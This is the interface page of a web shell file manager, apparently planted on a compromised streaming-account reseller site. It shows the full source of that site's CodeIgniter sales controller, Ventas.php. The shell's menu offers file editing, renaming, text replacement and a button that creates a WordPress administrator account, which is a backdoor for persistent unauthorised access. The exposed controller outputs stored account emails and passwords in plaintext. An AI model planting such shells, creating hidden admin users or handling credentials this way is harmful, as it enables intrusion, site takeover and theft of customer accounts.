📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/controllers
⬅️ Kembali ke folder sebelumnya
📄
Clientes.php
📄
Configuraciones.php
📄
Login.php
📄
Paneles.php
📄
Perfiles.php
📄
Productos.php
📄
Servicios.php
📄
Usuarios.php
📄
Ventas.php
📄
Welcome.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Clientes.php
Configuraciones.php
Login.php
Paneles.php
Perfiles.php
Productos.php
Servicios.php
Usuarios.php
Ventas.php
Welcome.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Ventas.php
<?php defined('BASEPATH') or exit('No direct script access allowed'); class Ventas extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('venta'); $this->load->model('cliente'); $this->load->model('servicio'); $this->load->model('producto'); $this->load->model('configuracion'); $this->load->model('perfil'); } public function index() { if ($this->session->userdata('C0n3ct4d0_Usr')) { //$data["configuraciones"] = $this->configuracion->obtenerConfiguracion(); //$data["listaVentas"] = $this->venta->obtenerTodos(); $data["listaClientes"] = $this->cliente->obtenerTodosLosClientesActivos(); $data["listaServicios"] = $this->servicio->obtenerTodosLosServiciosActivos(); //$data["listaProductos"] = $this->producto->obtenerTodosPorServicio(); $this->load->view('header'); $this->load->view('ventas/index', $data); $this->load->view('footer'); } else { redirect('login/login'); } } public function ventasPorCliente($id_cli) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $data["cliente"] = $this->cliente->obtenerPorId($id_cli); $data["listaVentas"] = $this->venta->obtenerTodosPorClientes($id_cli); $data["listaServicios"] = $this->servicio->obtenerTodosLosServiciosActivos(); $data["ventasCliente"] = $this->venta->ventasCliente($id_cli); $this->load->view('header'); $this->load->view('ventas/ventasPorCliente', $data); $this->load->view('footer'); } else { redirect('login/login'); } } public function editar($id) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $data["venta"] = $this->venta->obtenerPorId($id); $data["listaClientes"] = $this->cliente->obtenerTodosLosClientesActivos(); $data["listaServicios"] = $this->servicio->obtenerTodosLosServiciosActivos(); $this->load->view('header'); $this->load->view('ventas/editar', $data); $this->load->view('footer'); } else { redirect('login/login'); } } public function renovarVenta() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $id_ven = $this->input->post('id_ven'); //$darDeBaja = $this->input->post('darDeBaja'); $tipoVenta = $this->input->post('tipoVenta'); /*if ($darDeBaja == "SI" && $tipoVenta == "PERFIL") { $datosRenovacionVenta = array( "estado_ven" => 3, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); $this->venta->actualizar($id_ven, $datosRenovacionVenta); $idPerfilVentaEliminada = $this->venta->obtenerPerfilPorVenta($id_ven); $datosPerfil = array( "estado_per" => 1, ); $this->perfil->actualizarEstadoPerfil($idPerfilVentaEliminada->id_per, $datosPerfil); if ($this->perfil->verificarPerfilesActivos($idPerfilVentaEliminada->fk_id_pro) != false) { $datosProducto = array( "estado_pro" => 1, ); $this->producto->actualizar($idPerfilVentaEliminada->fk_id_pro, $datosProducto); } } else if ($darDeBaja == "SI" && $tipoVenta == "COMPLETA") { $idProducto = $this->venta->obtenerPorId($id_ven); $datosRenovacionVenta = array( "estado_ven" => 3, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); $this->venta->actualizar($id_ven, $datosRenovacionVenta); $datosPerfil = array( "estado_per" => 1, ); $this->perfil->actualizarEstadoPerfilesCuentaCompleta($idProducto->id_pro, $datosPerfil); $datosProducto = array( "estado_pro" => 1, ); $this->producto->actualizar($idProducto->id_pro, $datosProducto); } else {*/ $precio_anterior = $this->venta->consultarPrecioVenta($id_ven); $precio_actual = $this->input->post('precio_ven'); $datosRenovacionVenta = array( "fecha_fin_ven" => $this->input->post('fecha_fin_ven'), "precio_ven" => $precio_actual, "total_renovaciones_ven" => $precio_anterior->total_renovaciones_ven + $precio_actual, "usuario_creacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); $this->venta->actualizar($id_ven, $datosRenovacionVenta); //} } else { redirect('login/login'); } } public function guardarVenta() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $tipodeventa = $this->input->post('tipoventatexto'); if ($tipodeventa == "SI") { $datosNuevoVenta = array( "fecha_inicio_ven" => $this->input->post('fecha_inicio_ven'), "fecha_fin_ven" => $this->input->post('fecha_fin_ven'), "fk_id_cli" => $this->input->post('fk_id_cli'), "fk_id_ser" => $this->input->post('fk_id_ser'), "fk_id_pro" => $this->input->post('fk_id_pro'), "fk_id_per" => $this->input->post('fk_id_per'), "tipoventa_ven" => "PERFIL", "total_renovaciones_ven" => $this->input->post('precio_ven'), "precio_ven" => $this->input->post('precio_ven'), "usuario_creacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); $datosPerfil = array( "estado_per" => 0, ); $this->perfil->actualizarEstadoPerfil($this->input->post('fk_id_per'), $datosPerfil); if ($this->perfil->verificarPerfilesActivos($this->input->post('fk_id_pro')) == false) { $datosProducto = array( "estado_pro" => 2, ); $this->producto->actualizar($this->input->post('fk_id_pro'), $datosProducto); } } else { $datosNuevoVenta = array( "fecha_inicio_ven" => $this->input->post('fecha_inicio_ven'), "fecha_fin_ven" => $this->input->post('fecha_fin_ven'), "fk_id_cli" => $this->input->post('fk_id_cli'), "fk_id_ser" => $this->input->post('fk_id_ser'), "fk_id_pro" => $this->input->post('fk_id_pro'), "total_renovaciones_ven" => $this->input->post('precio_ven'), "precio_ven" => $this->input->post('precio_ven'), "tipoventa_ven" => "COMPLETA", "usuario_creacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); $datosPerfil = array( "estado_per" => 0, ); $this->perfil->actualizarEstadoPerfilesCuentaCompleta($this->input->post('fk_id_pro'), $datosPerfil); $datosProducto = array( "estado_pro" => 2, ); $this->producto->actualizar($this->input->post('fk_id_pro'), $datosProducto); } $this->venta->insertar($datosNuevoVenta); } else { redirect('login/login'); } } public function eliminarVenta($id) { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") { $idPerfilVentaEliminada = $this->venta->obtenerPerfilPorVenta($id); if ($this->venta->eliminar($id)) { $datosPerfil = array( "estado_per" => 1, ); $this->perfil->actualizarEstadoPerfil($idPerfilVentaEliminada->id_per, $datosPerfil); if ($this->perfil->verificarPerfilesActivos($idPerfilVentaEliminada->fk_id_pro) != false) { $datosProducto = array( "estado_pro" => 1, ); $this->producto->actualizar($idPerfilVentaEliminada->fk_id_pro, $datosProducto); } } } } else { redirect('login/login'); } } public function eliminarVentaCompleta($id) { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") { //$idPerfilVentaEliminada = $this->venta->obtenerPerfilPorVenta($id); $idProducto = $this->venta->obtenerPorId($id); //echo ($idProducto); if ($this->venta->eliminar($id)) { $datosPerfil = array( "estado_per" => 1, ); $this->perfil->actualizarEstadoPerfilesCuentaCompleta($idProducto->id_pro, $datosPerfil); $datosProducto = array( "estado_pro" => 1, ); $this->producto->actualizar($idProducto->id_pro, $datosProducto); } } } else { redirect('login/login'); } } public function eliminarVentaPorCliente($id) { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") { $idCliente = $this->venta->obtenerPorId($id); if ($this->venta->eliminar($id)) { $this->session->set_flashdata( "confirmacion", "Venta eliminada con exito." ); redirect('ventas/ventasPorCliente/' . $idCliente->fk_id_cli); } else { $this->session->set_flashdata( "error", "Venta no eliminada algo fallo." ); redirect('ventas/ventasPorCliente/' . $idCliente->fk_id_cli); } } } else { redirect('login/login'); } } public function editarVenta() { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") { $datosNuevoVenta = array( "fecha_inicio_ven" => $this->input->post('fecha_inicio_ven'), "fecha_fin_ven" => $this->input->post('fecha_fin_ven'), "fk_id_cli" => $this->input->post('fk_id_cli'), "fk_id_ser" => $this->input->post('fk_id_ser'), "fk_id_pro" => $this->input->post('fk_id_pro'), "perfiles_ven" => $this->input->post('perfiles_ven'), "precio_ven" => $this->input->post('precio_ven'), "usuario_creacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu, "usuario_actualizacion_ven" => $this->session->userdata("C0n3ct4d0_Usr")->id_usu ); if ($this->cliente->actualizar($this->input->post('id_ven'), $datosNuevoVenta)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Venta editada con exito." ); redirect('ventas/index'); } else { $this->session->set_flashdata( "error", "Venta no editado algo fallo." ); redirect('ventas/editar'); } } } else { redirect('login/login'); } } public function ajaxTraerVentaPorID($id_ven) { $venta = $this->venta->obtenerPorIdJSON($id_ven); echo json_encode($venta); } public function ajaxTraerVentaPorIDSpecial($id_ven) { $venta = $this->venta->obtenerPorIdJSON($id_ven); echo json_encode($venta, JSON_FORCE_OBJECT); } public function getData() { $results = $this->venta->obtenerTodosJson(); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $row[] = $result->id_cli; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data(), "recordsFiltered" => $this->venta->count_filtered_data(), "data" => $data ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataCliente($id_cli) { $results = $this->venta->obtenerTodosPorClienteJson($id_cli); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_cliente($id_cli), "recordsFiltered" => $this->venta->count_filtered_data_por_cliente($id_cli), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVencidoCliente($id_cli) { $results = $this->venta->obtenerTodosPorClienteVencidoJson($id_cli); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_cliente_vencido($id_cli), "recordsFiltered" => $this->venta->count_filtered_data_por_cliente_vencido($id_cli), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVigenteCliente($id_cli) { $results = $this->venta->obtenerTodosPorClienteVigenteJson($id_cli); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_cliente_vigente($id_cli), "recordsFiltered" => $this->venta->count_filtered_data_por_cliente_vigente($id_cli), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataEstadoCliente($estado, $id_cli) { $results = $this->venta->obtenerTodosPorClienteEstadoJson($estado, $id_cli); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_cliente_estado($estado, $id_cli), "recordsFiltered" => $this->venta->count_filtered_data_por_cliente_estado($estado, $id_cli), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataUsuario($id_usu) { $results = $this->venta->obtenerTodosPorUsuarioJson($id_usu); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_usuario($id_usu), "recordsFiltered" => $this->venta->count_filtered_data_por_usuario($id_usu), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataEstado($estado) { $results = $this->venta->obtenerTodosPorEstadoJson($estado); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $row[] = $result->id_cli; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_estado($estado), "recordsFiltered" => $this->venta->count_filtered_data_por_estado($estado), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVigente() { $results = $this->venta->obtenerTodosPorVigenteJson(); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $row[] = $result->id_cli; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_vigente(), "recordsFiltered" => $this->venta->count_filtered_data_por_vigente(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVencido() { $results = $this->venta->obtenerTodosPorVencidoJson(); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $row[] = $result->id_cli; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_vencido(), "recordsFiltered" => $this->venta->count_filtered_data_por_vencido(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function CRUD() { $opcionCrud = $this->input->post('opcionCrud'); switch ($opcionCrud) { case 1: $this->guardarVenta(); break; case 2: $this->editarCliente(); break; case 3: $this->eliminarVentaCompleta($this->input->post('id_ven')); break; case 4: $this->eliminarVenta($this->input->post('id_ven')); break; case 5: $this->renovarVenta(); break; } } public function traerConfiguracionData() { $output = $this->configuracion->obtenerConfiguracionJSON(); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function obtenerTotalVentasPorCliente($id_usu) { $output = $this->venta->sumaTotalDeVentaPorUsuario($id_usu); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Ventas Por Vencer LR INICIO public function getDataPorVencer() { $results = $this->venta->obtenerTodosPorVencerJson(); $simboloMoneda = $this->configuracion->obtenerConfiguracion(); $data = []; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_ven; $row[] = $result->nombre_cli . " " . $result->apellido_cli; if ($result->telefono_cli == "" || $result->telefono_cli == NULL) { $row[] = "Sin Número"; } else { $row[] = $result->telefono_cli; } $row[] = $result->tipoventa_ven; if ($simboloMoneda->simbolomoneda_con == NULL || $simboloMoneda->simbolomoneda_con == "") { $row[] = "$" . $result->precio_ven; } else { $row[] = $simboloMoneda->simbolomoneda_con . $result->precio_ven; } $row[] = $result->nombre_ser; $row[] = "Correo: <br>" . $result->correo_pro . "<br>" . " Contraseña: <br>" . $result->password_pro; if ($result->nombre_per == "" || $result->nombre_per == NULL) { $row[] = "CUENTA COMPLETA"; } else { if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = $result->nombre_per . " [Pin: No tiene PIN]"; } else { $row[] = $result->nombre_per . "<br>" . " [Pin: " . $result->pin_per . "]"; } } $row[] = formatearFechaDMA($result->fecha_inicio_ven); $row[] = formatearFechaDMA($result->fecha_fin_ven); $row[] = $result->estado_ven; $row[] = $result->estado_pago_ven; if ($result->tipo_pago_ven == "" || $result->tipo_pago_ven == NULL) { $row[] = "PENDIENTE"; } else { $row[] = $result->tipo_pago_ven; } $row[] = $result->id_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->venta->count_all_data_por_vencido(), "recordsFiltered" => $this->venta->count_filtered_data_por_vencido(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Ventas Por Vencer LR FIN }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup